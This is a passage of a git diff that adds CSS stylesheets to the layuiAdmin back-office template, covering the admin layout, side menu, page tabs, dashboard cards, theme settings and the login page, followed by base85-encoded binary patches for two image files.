*/ +::-webkit-input-placeholder{color: #ccc} + +/** 滚动条 **/ +/* +::-webkit-scrollbar{width: 10px; height: 10px;} +::-webkit-scrollbar-button:vertical{display: none;} +::-webkit-scrollbar-track, ::-webkit-scrollbar-corner{background-color: #e2e2e2;} +::-webkit-scrollbar-thumb{border-radius: 0; background-color: rgba(0,0,0,.3);} +::-webkit-scrollbar-thumb:vertical:hover{background-color: rgba(0,0,0,.35);} +::-webkit-scrollbar-thumb:vertical:active{background-color: rgba(0,0,0,.38);} +*/ + + +/* 全局 */ +html{background-color: #f2f2f2; color: #666;} +*[template], +.layadmin-tabsbody-item{display: none;} +*[lay-href], +*[lay-tips], +*[layadmin-event]{cursor: pointer;} + +/* 重置布局结构 */ +.layui-layout-admin .layui-header{position: fixed; top: 0; left: 0; width: 100%; height: 50px;} + +/* +.layui-layout-admin .layui-header .layui-layout-right .layui-nav-item a{color: #fff;} +.layui-layout-admin .layui-header .layui-layout-right .layui-nav-item a cite{color: rgba(255,255,255,.7);} +*/ + +.layui-layout-admin .layui-header .layui-nav .layui-nav-child a{color: #333;} +.layui-layout-admin .layui-side{width: 220px; top: 0; z-index: 1001;} +.layui-layout-admin .layui-logo, +.layui-layout-admin .layui-header .layui-nav .layui-nav-item{height: 50px; line-height: 50px;} +.layui-layout-admin .layui-logo{position: fixed; left: 0; top: 0; z-index: 1002; width: 220px; height: 49px; padding: 0 15px; box-sizing: border-box; overflow: hidden; font-weight: 300; background-repeat: no-repeat; background-position: center center;} +.layui-layout-admin .layui-layout-left, +.layadmin-pagetabs, +.layui-layout-admin .layui-body, +.layui-layout-admin .layui-footer{left: 220px;} +.layadmin-pagetabs{position: fixed; top: 50px; right: 0; z-index: 999;} +.layadmin-pagetabs .layui-breadcrumb{padding: 0 15px;} +.layui-layout-admin .layui-body{position: fixed; top: 90px; bottom: 0;} +.layui-layout-admin .layui-body .layadmin-tabsbody-item{position: absolute; top: 0; bottom: 0; left: 0; right: 0; overflow: hidden; overflow-y: auto;} +.layui-layout-admin .layui-header .layui-nav-img{width: 26px; height: 26px;} +.layui-layout-admin .layui-header .layui-nav-child{top: 55px;} +.layui-layout-admin .layui-header .layui-layout-right .layui-nav-child{left: auto; right: 0;} +.layui-layout-admin .layui-header .layui-nav .layui-nav-child dd.layui-this a, +.layui-layout-admin .layui-header .layui-nav .layui-nav-child dd.layui-this{background: none} + +/* 统一动画 */ +.layui-layout-admin .layui-header .layui-nav .layui-nav-item, +.layui-layout-admin .layui-layout-left, +.layadmin-pagetabs, +.layui-layout-admin .layui-body, +.layui-layout-admin .layui-footer, +.layui-layout-admin .layui-side, +.layui-layout-admin .layui-logo, +.layui-layout-admin .layui-header .layui-layout-right{transition: all .3s; -webkit-transition: all .3s;} + +/* 图标 */ +.layui-icon-login-qq{color: #3492ED;} +.layui-icon-login-wechat{color: #4DAF29;} +.layui-icon-login-weibo{color: #CF1900;} + +/* 重置表格风格 */ +/* +.layui-table th, +.layui-table td, +.layui-table[lay-skin="line"], +.layui-table[lay-skin="row"], +.layui-table-view, +.layui-table-header, +.layui-table-tool, +.layui-table-page, +.layui-table-fixed-r, +.layui-table-tips-main{border-color: #f6f6f6;} + +.layui-table thead tr, +.layui-table-header, +.layui-table-tool, +.layui-table-patch, +.layui-table-mend{background-color: #fff;} + +.layui-table[lay-even] tr:nth-child(even), +.layui-table tbody tr:hover, +.layui-table-hover, +.layui-table-click{background-color: #f8f8f8;} +*/ + +/* 表单 */ +.layui-form[wid100] .layui-form-label{width: 100px;} +.layui-form[wid100] .layui-input-block{margin-left: 130px;} +@media screen and (max-width: 450px){ + .layui-form[wid100] .layui-form-item .layui-input-inline{margin-left: 132px;} + .layui-form[wid100] .layui-form-item .layui-input-inline+.layui-form-mid{margin-left: 130px;} +} +.layui-form-item .layui-input-company{width: auto; padding-right: 10px; line-height: 38px;} + +/* 辅助 */ +.layadmin-flexible{} +.layui-bg-white{background-color: #fff;} +.layadmin-loading{position: absolute; left: 50%; top: 50%; margin: -16px -15px; font-size: 30px; color: #c2c2c2;} +.layadmin-fixed{position: fixed; left: 0; top: 0; z-index: 999;} +.layadmin-link{color: #029789!important;} +.layadmin-link:hover{opacity: 0.8;} + +/* 弹出面板 */ +.layui-layer-admin .layui-layer-title{height: 50px; line-height: 50px; border: none 0; background-color: #20222A; color: #fff;} +.layui-layer-admin i[close]{position: absolute; padding: 5px; right: 10px; top: 12px; color: #fff; cursor: pointer;} +.layui-layer-admin .layui-layer-content{padding: 20px; line-height: 22px;} +.layui-layer-admin .layui-layer-content cite{font-style: normal; color: #FF5722;} + +/* 右侧面板 */ +.layui-layer-adminRight{top: 50px !important; bottom: 0; box-shadow: 1px 1px 10px rgba(0,0,0,.1); border-radius: 0; overflow: auto;} + +/* 弹出便签 */ +.layadmin-note .layui-layer-content{padding: 0;} +.layadmin-note textarea{display: block; width: 300px; height: 132px; min-width: 300px; min-height: 132px; line-height: 20px; padding: 10px 20px; border: none; box-sizing: border-box; color: #666; word-wrap: break-word;} + +/* 头部导航 */ +.layui-layout-admin .layui-layout-left{padding: 0 10px;} +.layui-layout-admin .layui-layout-left .layui-nav-item{margin: 0 20px;} +.layui-layout-admin .layui-input-search{display: inline-block; vertical-align: middle; height: 32px; border: none; cursor: text;} +.layui-layout-admin .layui-layout-left a{padding: 0;} +.layui-layout-admin .layui-layout-right{padding: 0;} +.layui-header .layui-nav-item .layui-icon{position: relative; top: 1px; font-size: 16px;} +.layui-header .layui-nav-item:hover{} +.layui-header .layui-layout-right .layui-badge-dot{margin-left: 0px;} +.layui-header .layui-nav .layui-this:after, +.layui-layout-admin .layui-header .layui-nav-bar{top: 0 !important; bottom: auto; height: 3px; background-color: #fff; background-color: rgba(255,255,255,.3);} + +/* 遮罩 */ +.layadmin-body-shade{position: fixed; display: none; left: 0; right: 0; top: 0; bottom: 0; background-color: rgba(0,0,0,.3); z-index: 1000;} + +/* 侧边菜单 */ +.layui-side-menu .layui-side-scroll{width: 240px;} +.layui-side-menu .layui-nav{width: 220px; margin-top: 50px; background: none;} +.layui-side-menu .layui-nav .layui-nav-item a{height: 40px; line-height: 40px; padding-left: 45px; padding-right: 30px;} +.layui-side-menu .layui-nav .layui-nav-item > a{padding-top: 8px; padding-bottom: 8px;} +.layui-side-menu .layui-nav .layui-nav-item a:hover{background: none;} +.layui-side-menu .layui-nav .layui-nav-itemed > .layui-nav-child{padding: 5px 0;} +.layui-side-menu .layui-nav .layui-nav-item .layui-icon{position: absolute; top: 50%; left: 20px; margin-top: -19px;} +.layui-side-menu .layui-nav .layui-nav-child .layui-nav-child{background: none!important;} +.layui-side-menu .layui-nav .layui-nav-child .layui-nav-child a{padding-left: 60px} +.layui-side-menu .layui-nav .layui-nav-more{right: 15px;} + +/* 侧边菜单 - 平板移动设备 */ +@media screen and (max-width: 992px) { + .layui-layout-admin .layui-side{transform: translate3d(-220px, 0, 0); -webkit-transform: translate3d(-220px, 0, 0); width: 220px;} + .layui-layout-admin .layui-layout-left, + .layadmin-pagetabs, + .layui-layout-admin .layui-body, + .layui-layout-admin .layui-footer{left: 0;} +} + +/* 侧边收缩模式 */ +.layadmin-side-shrink .layui-layout-admin .layui-logo{width: 60px; background-image: url(res/logo.png); /*background-size: 20px;)*/} +.layadmin-side-shrink .layui-layout-admin .layui-logo span{display: none;} +.layadmin-side-shrink .layui-side{left: 0; width: 60px;} +.layadmin-side-shrink .layui-layout-admin .layui-layout-left, +.layadmin-side-shrink .layadmin-pagetabs, +.layadmin-side-shrink .layui-layout-admin .layui-body, +.layadmin-side-shrink .layui-layout-admin .layui-footer{left: 60px;} +.layadmin-side-shrink .layui-side-menu .layui-nav{position: static; width: 60px;} +.layadmin-side-shrink .layui-side-menu .layui-nav-item{position: static;} +.layadmin-side-shrink .layui-side-menu .layui-nav-item>a{padding-right: 0;} +.layadmin-side-shrink .layui-side-menu .layui-nav-item cite, +.layadmin-side-shrink .layui-side-menu .layui-nav > .layui-nav-item > a .layui-nav-more, +.layadmin-side-shrink .layui-side-menu .layui-nav > .layui-nav-item > .layui-nav-child{display: none; padding: 8px 0; width: 200px;} +.layadmin-side-shrink .layui-side-menu .layui-nav > .layui-nav-itemed>a{background: rgba(0,0,0,.3);} + +/* 移动端展开模式 */ +.layadmin-side-spread-sm .layui-layout-admin .layui-layout-left, +.layadmin-side-spread-sm .layadmin-pagetabs, +.layadmin-side-spread-sm .layui-layout-admin .layui-body, +.layadmin-side-spread-sm .layui-layout-admin .layui-footer{left: 0; transform: translate3d(220px, 0, 0); -webkit-transform: translate3d(220px, 0, 0);} +.layadmin-side-spread-sm .layui-layout-admin .layui-layout-right{transform: translate3d(220px, 0, 0); -webkit-transform: translate3d(220px, 0, 0);} +.layadmin-side-spread-sm .layui-side{transform: translate3d(0, 0, 0); -webkit-transform: translate3d(0, 0, 0);} +.layadmin-side-spread-sm .layadmin-body-shade{display: block; } + + +/* 页面标签 */ +.layadmin-pagetabs{height: 40px; line-height: 40px; padding: 0 80px 0 40px; /*border-bottom: 2px solid #292B34;*/ background-color: #fff; box-sizing: border-box; box-shadow: 0 1px 2px 0 rgba(0,0,0,.1);} +.layadmin-pagetabs .layadmin-tabs-control{position: absolute; top: 0; width: 40px; height: 100%; text-align: center; cursor: pointer; transition: all .3s; -webkit-transition: all .3s; box-sizing: border-box; border-left: 1px solid #f6f6f6;} +.layadmin-pagetabs .layadmin-tabs-control:hover{background-color: #f6f6f6;} +.layadmin-pagetabs .layui-icon-prev{left: 0; border-left: none; border-right: 1px solid #f6f6f6;} +.layadmin-pagetabs .layui-icon-next{right: 40px; right: 40px;} +.layadmin-pagetabs .layui-icon-down{right: 0;} +.layadmin-tabs-select.layui-nav{position: absolute; left: 0; top: 0; width: 100%; height: 100%; padding: 0; background: none;} +.layadmin-tabs-select.layui-nav .layui-nav-item{line-height: 40px;} +.layadmin-tabs-select.layui-nav .layui-nav-item>a{height: 40px;} +.layadmin-tabs-select.layui-nav .layui-nav-item a{color: #666;} +.layadmin-tabs-select.layui-nav .layui-nav-child{top: 40px; left: auto; right: 0;} +.layadmin-tabs-select.layui-nav .layui-nav-child dd.layui-this, +.layadmin-tabs-select.layui-nav .layui-nav-child dd.layui-this a{background-color: #f2f2f2!important; color: #333;} +.layadmin-tabs-select.layui-nav .layui-nav-more, +.layadmin-tabs-select.layui-nav .layui-nav-bar{display: none;} + +.layadmin-pagetabs .layui-tab{margin: 0; overflow: hidden;} +.layadmin-pagetabs .layui-tab-title{height: 40px; border: none;} +.layadmin-pagetabs .layui-tab-title li{min-width: 0; line-height: 40px; max-width: 160px; text-overflow: ellipsis; padding-right: 40px; overflow: hidden; border-right: 1px solid #f6f6f6; vertical-align: top;} +.layadmin-pagetabs .layui-tab-title li:first-child{ padding-right: 15px;} +.layadmin-pagetabs .layui-tab-title li:first-child .layui-tab-close{display: none;} +.layadmin-pagetabs .layui-tab-title li .layui-tab-close{position: absolute; right: 8px; top: 50%; margin: -7px 0 0 0; width: 16px; height: 16px; line-height: 16px; border-radius: 50%; font-size: 12px;} +.layadmin-pagetabs .layui-tab-title li:after{content:''; position: absolute; top: 0; left: 0; width: 0; height: 2px; border-radius: 0; background-color: #292B34; transition: all .3s; -webkit-transition: all .3s;} +.layadmin-pagetabs .layui-tab-title li:hover:after{width: 100%;} +.layadmin-pagetabs .layui-tab-title li:hover, +.layadmin-pagetabs .layui-tab-title li.layui-this{background-color: #f6f6f6;} +.layadmin-pagetabs .layui-tab-title li.layui-this:after{width: 100%; border: none; height: 2px; background-color: #292B34;} + +/* 不开启页面标签时 */ +.layadmin-tabspage-none .layui-layout-admin .layui-header{border-bottom: none; box-shadow: 0 1px 2px 0 rgba(0,0,0,.05);} +.layadmin-tabspage-none .layui-layout-admin .layui-body{top: 50px;} +.layadmin-tabspage-none .layadmin-header{display: block;} +.layadmin-tabspage-none .layadmin-header .layui-breadcrumb{border-top: 1px solid #f6f6f6;} + +/* 底部固定区域 */ +.layui-layout-admin .layui-footer{padding: 10px 0; text-align: center;} + +/* 默认主题修饰 */ +.layui-layout-admin .layui-header{border-bottom: 1px solid #f6f6f6; box-sizing: border-box; background-color: #fff;} +.layui-layout-admin .layui-header a, +.layui-layout-admin .layui-header a cite{color: #333;} +.layui-layout-admin .layui-header a:hover{color: #000;} +.layui-layout-admin .layui-header .layui-nav .layui-nav-more{border-top-color: #666} +.layui-layout-admin .layui-header .layui-nav .layui-nav-mored{border-color: transparent; border-bottom-color: #666;} +.layui-layout-admin .layui-header .layui-nav .layui-this:after, +.layui-layout-admin .layui-header .layui-nav-bar{height: 2px; background-color: #20222A} +.layui-layout-admin .layui-logo{background-color: #20222A; box-shadow: 0 1px 2px 0 rgba(0,0,0,.15);} +.layui-layout-admin .layui-logo, +.layui-layout-admin .layui-logo a{color: #fff; color: rgba(255,255,255,.8)} +.layui-side-menu{box-shadow: 1px 0 2px 0 rgba(0,0,0,.05);} +.layui-layout-admin .layui-footer{box-shadow: 0 -1px 2px 0 rgba(0,0,0,.05);} + +.layui-side-menu, +.layadmin-setTheme-side{background-color: #20222A; color: #fff;} +.layadmin-setTheme-header{background-color: #fff;} + +.layui-layout-admin .layui-footer{background-color: #fff;} +.layui-tab-admin .layui-tab-title{background-color: #393D49; color: #fff;} + + +/* + + 格局 + +*/ + +.layui-fluid{padding: 15px;} +.layadmin-header{display: none; height: 50px; line-height: 50px; margin-bottom: 0; border-radius: 0;} +.layadmin-header .layui-breadcrumb{padding: 0 15px;} +.layui-card-header{position: relative;} +.layui-card-header .layui-icon{line-height: initial; position: absolute; right: 15px; top: 50%; margin-top: -7px;} +.layadmin-iframe{position: absolute; width: 100%; height: 100%; left: 0; top: 0; right: 0; bottom: 0;} + + +/* + + 控制台 + +*/ + + +/* 重置轮播样式 */ +.layadmin-carousel{height: 185px !important; background-color: #fff;} +.layadmin-carousel .layui-carousel-ind li{background-color: #e2e2e2;} +.layadmin-carousel .layui-carousel-ind li:hover{background-color: #c2c2c2;} +.layadmin-carousel .layui-carousel-ind li.layui-this{background-color: #999;} +.layadmin-carousel .layui-carousel, +.layadmin-carousel > *[carousel-item] > *{background-color: #fff;} +.layadmin-carousel .layui-col-space10{margin: 0;} +.layadmin-carousel .layui-carousel-ind{position: absolute; top: -41px; text-align: right;} +.layadmin-carousel .layui-carousel-ind ul{background: none;} + +/* 重置tab样式 */ +.layui-card .layui-tab-brief .layui-tab-title{height: 42px; border-bottom-color: #f6f6f6;} +.layui-card .layui-tab-brief .layui-tab-title li{margin: 0 15px; padding: 0; line-height: 42px;} +.layui-card .layui-tab-brief .layui-tab-title li.layui-this{color: #333;} +.layui-card .layui-tab-brief .layui-tab-title .layui-this:after{height: 43px;} +.layui-card .layui-tab-brief .layui-tab-content{padding: 15px;} +.layui-card .layui-table-view{margin: 0;} + +/* 快捷方式 */ +.layadmin-shortcut li{text-align: center;} +.layadmin-shortcut li .layui-icon{display: inline-block; width: 100%; height: 60px; line-height: 60px; text-align: center; border-radius: 2px; font-size: 30px; background-color: #F8F8F8; color: #333; transition: all .3s; -webkit-transition: all .3s;} +.layadmin-shortcut li cite{position: relative; top: 2px; display: block; color: #666; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; font-size: 14px;} +.layadmin-shortcut li:hover .layui-icon{background-color: #f2f2f2;} + +/* 待办事项 */ +.layadmin-backlog .layadmin-backlog-body{display: block; padding: 10px 15px; background-color: #f8f8f8; color: #999; border-radius: 2px; transition: all .3s; -webkit-transition: all .3s;} +.layadmin-backlog-body h3{padding-bottom: 10px; font-size: 12px;} +.layadmin-backlog-body p cite{font-style: normal; font-size: 30px; font-weight: 300; color: #009688;} +.layadmin-backlog-body:hover{background-color: #f2f2f2; color: #888;} + +/* 数据概览 */ +.layadmin-dataview{height: 332px !important;} +.layadmin-dataview>*[carousel-item]:before{display: none;} +.layadmin-dataview>*[carousel-item]>div{height: 332px;} + +/* 控制台效果报告 */ +.layadmin-takerates{padding-top: 5px;} +.layadmin-takerates .layui-progress{margin: 50px 0 60px;} +.layadmin-takerates .layui-progress:last-child{margin-bottom: 10px;} +.layadmin-takerates .layui-progress h3{position: absolute; right: 0; top: -35px; color: #999; font-size: 14px;} +.layadmin-takerates .layui-progress-bar{text-align: left;} +.layadmin-takerates .layui-progress-text{top: -35px; line-height: 26px; font-size: 26px;} + +/* 产品动态 */ +.layadmin-news{height: 60px !important; padding: 5px 0;} +.layadmin-news a{display: block; line-height: 60px; text-align: center;} +.layadmin-news .layui-carousel-ind{height: 45px;} + +/* 文字列表 */ +.layadmin-list li{margin-bottom: 6px; padding-bottom: 6px; border-bottom-color: #f6f6f6; list-style-position: inside; list-style-type: disc;} +.layadmin-list li{text-overflow: ellipsis; overflow: hidden; white-space: nowrap;} +.layadmin-list li a{color: #666;} +.layadmin-list li a:hover{color: #009688;} +.layadmin-list li:last-child{border: none; padding: 0; margin: 0;} + +/* 文本区域 */ +.layadmin-text p{margin-bottom: 10px; text-indent: 2em;} +.layadmin-text p:last-child{margin: 0;} +.layadmin-font-em{font-size: 13px; color: #758697;} + + + + +/******************************** + + 其它主页开始 By star1029 + +*******************************/ + +/* 主页示例一 by star1029 */ +/* 进行中的项目 */ +.layui-card-header .layui-a-tips{position: absolute; right: 15px; color: #01AAED;} +.layuiadmin-card-text{background-color: #f8f8f8; color: #777; padding: 24px;} +.layuiadmin-card-text .layui-text-top{padding-bottom: 10px;} +.layuiadmin-card-text .layui-text-top i{margin-right: 10px; font-size: 24px; color: #009688;} +.layuiadmin-card-text .layui-text-top a{line-height: 24px; font-size: 16px; vertical-align: top;} +.layuiadmin-card-text .layui-text-center{height: 44px; line-height: 22px; margin-bottom: 10px; overflow: hidden;} +.layuiadmin-card-text .layui-text-bottom{position: relative;} +.layuiadmin-card-text .layui-text-bottom a{color: #777; font-size: 12px; text-overflow: ellipsis; word-break: break-all;} +.layuiadmin-card-text .layui-text-bottom span{color: #CCC; font-size: 12px; position: absolute; right: 0;} +.layuiadmin-card-text a:hover, +.layuiadmin-card-link a:hover, +.layuiadmin-card-team li a:hover{color: #01AAED; transition: all 300ms;} + +/* 动态 */ +.layuiadmin-card-status{padding: 0 10px 10px 10px;} +.layuiadmin-card-status dd{padding: 15px 0; border-bottom: 1px solid #EEE; display: -webkit-flex; display: flex;} +.layuiadmin-card-status dd:last-child{border: none;} +.layuiadmin-card-status dd div.layui-status-img, +.layuiadmin-card-team .layui-team-img{width: 32px; height: 32px; border-radius: 50%; background-color: #009688; margin-right: 15px;} +.layuiadmin-card-status dd div.layui-status-img a{width: 100%; height: 100%; display: inline-block; text-align: center; line-height: 32px;} +.layuiadmin-card-status dd div.layui-status-img img, +.layuiadmin-card-team .layui-team-img img{width: 50%; height: 50%;} +.layuiadmin-card-status dd div a{color: #01AAED;} +.layuiadmin-card-status dd div span{color: #BBB;} + +/* 便捷导航 */ +.layuiadmin-card-link{padding-left: 10px; font-size: 0} +.layuiadmin-card-link a{display: inline-block; width: 25%; color: #666; font-size: 14px; margin-bottom: 12px;} +.layuiadmin-card-link button{vertical-align: top;} +.layuiadmin-card-link button:hover{color: #009688;} + +/* 团队 */ +.layuiadmin-card-team li{padding: 10px 0 10px 10px;} +.layuiadmin-card-team .layui-team-img{display: inline-block; margin-right: 8px; width: 24px; height: 24px; text-align: center; line-height: 24px;} +.layuiadmin-card-team span{color: #777;} + + +/* 主页示例二 by star1029 */ +.layuiadmin-badge{position: absolute; top: 50%; margin-top: -9px; right: 15px; color: #01AAED; } +.layuiadmin-card-list{padding: 15px;} +.layuiadmin-card-list p.layuiadmin-big-font{font-size: 36px; color: #666; line-height: 36px; padding: 5px 0 10px; overflow: hidden; text-overflow: ellipsis; word-break: break-all; white-space: nowrap;} +.layuiadmin-card-list p.layuiadmin-normal-font{padding-bottom: 10px; font-size: 20px; color: #666; line-height: 24px;} +.layuiadmin-span-color{font-size: 14px; position: absolute; right: 15px;} +.layuiadmin-span-color i{padding-left: 5px;} +.layuiadmin-btn-group{position: absolute; right: 15px;} + +.layuiadmin-card-status li{position: relative; padding: 10px 0; border-bottom: 1px solid #EEE;} +.layuiadmin-card-status li h3{padding-bottom: 5px; font-weight: 700;} +.layuiadmin-card-status li p{padding-bottom: 10px;} +.layuiadmin-card-status li>span{color: #999;} +.layuiadmin-home2-usernote .layuiadmin-reply{display: none; position: absolute; right: 0; bottom: 12px;} +.layuiadmin-home2-usernote li:hover .layuiadmin-reply{display: block;} + +.layuiadmin-page-table td span{color: #2F4056;} +.layuiadmin-page-table td span.first{color: #FF5722;} +.layuiadmin-page-table td span.second{color: #FFB800;} +.layuiadmin-page-table td span.third{color: #5FB878;} + + +/****** 其它主页结束 By star1029 ******/ + + + + +/* + + 应用 + +*/ + + +/* 消息中心 */ +.layuiAdmin-msg-detail h1{font-size: 16px;} +.layuiAdmin-msg-detail .layui-card-header{height: auto; line-height: 30px; padding: 15px;} +.layuiAdmin-msg-detail .layui-card-header span{padding: 0 5px; color: #999;} +.layuiAdmin-msg-detail .layui-card-header span:first-child{padding-left: 0;} +.layuiAdmin-msg-detail .layui-card-body{padding: 15px;} + +/* 文章列表 */ +.layuiadmin-content-bread{padding-bottom: 20px;} + +/* 进度条样式 */ +.layuiadmin-order-progress{position: relative; top: 12px;} + + + + +/* + + 系统 + +*/ + + +/* 头部图标重置 */ +.layui-card-header.layuiadmin-card-header-auto{padding-top: 15px; padding-bottom: 15px; height: auto;} +.layuiadmin-card-header-auto i.layuiadmin-button-btn{position: relative; right: 0; top: 0; vertical-align: middle;} +.layuiadmin-card-header-auto .layui-form-item:last-child{margin-bottom: 0;} + + +/* 主题设置 */ +.layadmin-setTheme{padding: 15px; overflow-x: hidden;} +.layadmin-setTheme>h5{padding: 20px 0 10px; color: #000;} +.layadmin-setTheme>h5:first-child{padding-top: 0;} +.layadmin-setTheme-color{width: 330px; font-size: 0;} +.layadmin-setTheme-color li{position: relative; display: inline-block; vertical-align: top; width: 80px; height: 50px; margin: 0 15px 15px 0; background-color: #f2f2f2; cursor: pointer; font-size: 12px; color: #666;} +.layadmin-setTheme-color li:after{content: ''; position: absolute; z-index: 20; top: 50%; left: 50%; width: 1px; height: 0; border: 1px solid #f2f2f2; transition: all .3s; -webkit-transition: all .3s; opacity: 0;} +.layadmin-setTheme-color li.layui-this:after, +.layadmin-setTheme-color li:hover:after{width: 100%; height: 100%; padding: 4px; top: -5px; left: -5px; border-color: #5FB878; opacity: 1;} + +.layadmin-setTheme-header{position: relative; z-index: 10; height: 10px; border-top: 1px solid #f2f2f2; border-right: 1px solid #f2f2f2;} +.layadmin-setTheme-side{position: absolute; left: 0; top: 0; width: 20px; height: 100%; z-index: 11; box-shadow: 1px 0 2px 0 rgba(0,0,0,.05);} +.layadmin-setTheme-logo{position: absolute; left: 0; top: 0; width: 100%; height: 10px; box-shadow: 0 1px 2px 0 rgba(0,0,0,.15);} +.layadmin-form-right{text-align: right;} + + +/* 关于 */ +.layadmin-about p{margin-bottom: 10px;} + +/* 菜单列表 */ +.layadmin-menu-list .layui-card-header{height: 50px; line-height: 50px; font-size: 16px;} +.layadmin-menu-list .layui-card-header:active{background-color: #f2f2f2;} +.layadmin-menu-list .layui-card-header .layui-icon{position: relative; top: 1px; left: 0; display: inline-block; margin: 0 10px 0; font-size: 18px;} + + +/* 动画 */ +@-webkit-keyframes layui-rl{ /* 从右往左滑入 */ + from {-webkit-transform: translate3d(100%, 0, 0);} + to {-webkit-transform: translate3d(0, 0, 0);} +} +@keyframes layui-rl{ + from {transform: translate3d(100%, 0, 0);} + to {transform: translate3d(0, 0, 0);} +} +.layui-anim-rl{-webkit-animation-name: layui-rl; animation-name: layui-rl;} + +@-webkit-keyframes layui-lr{ /* 从右往左滑入 */ + from {-webkit-transform: translate3d(0 0, 0); opacity: 1;} + to {-webkit-transform: translate3d(100%, 0, 0); opacity: 1;} +} +@keyframes layui-lr{ + from {transform: translate3d(0, 0, 0);} + to {transform: translate3d(100%, 0, 0);} +} +.layui-anim-lr{-webkit-animation-name: layui-lr; animation-name: layui-lr;} + +.layui-anim-rl.layer-anim-close{-webkit-animation-name: layui-lr; animation-name: layui-lr;} + + +/* 提示页 */ +.layadmin-tips{margin-top: 30px; text-align: center;} +.layadmin-tips .layui-icon[face]{display: inline-block; font-size: 300px; color: #393D49;} +.layadmin-tips .layui-text{width: 500px; margin: 30px auto; padding-top: 20px; border-top: 5px solid #009688; font-size: 16px;} +.layadmin-tips h1{font-size: 100px; line-height: 100px; color: #009688;} +.layadmin-tips .layui-text .layui-anim{display: inline-block;} + + +/* + + 响应式补充 + +*/ + +@media screen and (max-width: 768px) { + + /* 产品清单模板 */ + .layadmin-panel-selection{margin: 0; width: auto;} + + /* 导航 */ + .layui-body .layui-nav .layui-nav-item{display: block;} + + /* 主体容器 */ + .layui-layout-admin .layui-body .layadmin-tabsbody-item{-webkit-overflow-scrolling: touch; overflow: auto;} +} + + + diff --git a/src/style/login.css b/src/style/login.css new file mode 100644 index 0000000..7990ff4 --- /dev/null +++ b/src/style/login.css @@ -0,0 +1,55 @@ +/** + + @Name:layuiAdmin 登入注册页 + @Author:贤心 + @Site:http://www.layui.com/admin/ + @License:GPL-2 + + */ + +html,body,#LAY_app{height:100%;} +.layui-layout-body{overflow: auto;} + +#LAY-user-login, +.layadmin-user-display-show{display: block !important;} +.layadmin-user-login{position: relative; left: 0; top: 0; padding: 110px 0; min-height: 100%; box-sizing: border-box;} +.layadmin-user-login-main{width: 375px; margin: 0 auto; box-sizing: border-box;} +.layadmin-user-login-box{padding: 20px;} +.layadmin-user-login-header{text-align: center;} +.layadmin-user-login-header h2{margin-bottom: 10px; font-weight: 300; font-size: 30px; color: #000;} +.layadmin-user-login-header p{font-weight: 300; color: #999;} + +.layadmin-user-login-body .layui-form-item{position: relative;} +.layadmin-user-login-icon{position: absolute; left: 1px; top: 1px; width: 38px; line-height: 36px; text-align: center; color: #d2d2d2;} +.layadmin-user-login-body .layui-form-item .layui-input{padding-left: 38px;} +.layadmin-user-login-codeimg{max-height: 38px; width: 100%; cursor: pointer; box-sizing: border-box;} + +.layadmin-user-login-other{position: relative; font-size: 0; line-height: 38px; padding-top: 20px;} +.layadmin-user-login-other>*{display: inline-block; vertical-align: middle; margin-right: 10px; font-size: 14px;} +.layadmin-user-login-other .layui-icon{position: relative; top: 2px; font-size: 26px;} +.layadmin-user-login-other a:hover{opacity: 0.8;} + +.layadmin-user-jump-change{float: right;} + +.layadmin-user-login-footer{position: absolute; left: 0; bottom: 0; width: 100%; line-height: 30px; padding: 20px; text-align: center; box-sizing: border-box; color: rgba(0,0,0,.5)} +.layadmin-user-login-footer span{padding: 0 5px;} +.layadmin-user-login-footer a{padding: 0 5px; color: rgba(0,0,0,.5);} +.layadmin-user-login-footer a:hover{color: rgba(0,0,0,1);} + +/* 有背景图时 */ +.layadmin-user-login-main[bgimg]{background-color: #fff; box-shadow: 0 0 5px rgba(0,0,0,0.05);} + +/* 主题背景 */ +.ladmin-user-login-theme{position: fixed; bottom: 0; left: 0; width: 100%; text-align: center;} +.ladmin-user-login-theme ul{display: inline-block; padding: 5px; background-color: #fff;} +.ladmin-user-login-theme ul li{display: inline-block; vertical-align: top; width: 64px; height: 43px; cursor: pointer; transition: all .3s; -webkit-transition: all .3s; background-color: #f2f2f2;} +.ladmin-user-login-theme ul li:hover{opacity: 0.9} + +@media screen and (max-width: 768px) { + .layadmin-user-login{padding-top: 60px;} + .layadmin-user-login-main{width: 300px;} + .layadmin-user-login-box{padding: 10px;} +} + + + diff --git a/src/style/res/bg-none.jpg b/src/style/res/bg-none.jpg new file mode 100644 index 0000000000000000000000000000000000000000..b7c9e7b864d9354ae00404bb74f1e144ab57e03b GIT binary patch literal 832 zcmex=76T7ZFOwj%ATaE{cASwgX5%^7Y|PA-aBzk}8jk@^fh}&{hLSo* zQZ@@t1{wl#DNZ;Zwm-mu+Vl>Q_HtgT*9|CH2iZ&kqzz#o5}<- z^#Yj5j9@Y`vDq^@LqriwMn<6MsZ(iN6OA^_TpQuDW?6Qau(sx`t1Z{osD%ZauI8LN zXOKo}2X-UI-(5y<5L literal 0 HcmV?d00001 diff --git a/src/style/res/layui-logo.jpg b/src/style/res/layui-logo.jpg new file mode 100644 index 0000000000000000000000000000000000000000..da24fdfc9a047daea9128a967bc13a3766aea200 GIT binary patch literal 2871 zcmds%X;hN=8o*yfvD^ulO4PE&%<(#|xr8*;xTI*Nv}mIfnyD$K=7y$C-LlldYi_v& zR~aq_w?a@xL@vl-t(UGJm>kpzvuTpAO6yA z=>VW{$jQ|S0D(Y2oa_OlJm3HTk(ZZOkcTKJK-NQKuktzwWSz2#l9IBLl8T1PAEBY5 zrmmr`rUHX$YQkV}U0q%HmM`%c0#Z~|R8>*ksG+fOvldiq^Oxp-nn<4j&~+dP2m%H{ z0XZlL3vPxc2 zR{uHoGZ*TmumQH!9P-1dY%Lj;@|3N)ZT}I>C2hm)R?&k~rP3ZiMW!JK1w#QOuw1xx z-xufqgJgY?UIFoho1a!S9QKGEI*LYZqICCGIO$_{Umq>+q6SWUdT^mu5`kJGrBOsa z?z@^Jl8y=9XMRXN>|=59+Y2DxopWRbxGWXov=`@6!bGoaj3Q1+ZYB~I6IXnTJL)T{ z6Z-v}1kN|yoXQ?n#^AkGuD)UOT*>#1N9+6@;ybm;(FOaTV1}S!CXA((&w_4j5(}X{A+U2kZn-hQL|rgMpLhigR+16CJlfTB*W?OEKdcBV_(+b zP5cNC7>0YfRrNJKJ$~5Q@iOi%yc8(oygz?(uj6D^ytw(J@cUG36Cr6Xv7HnqwD;Dd 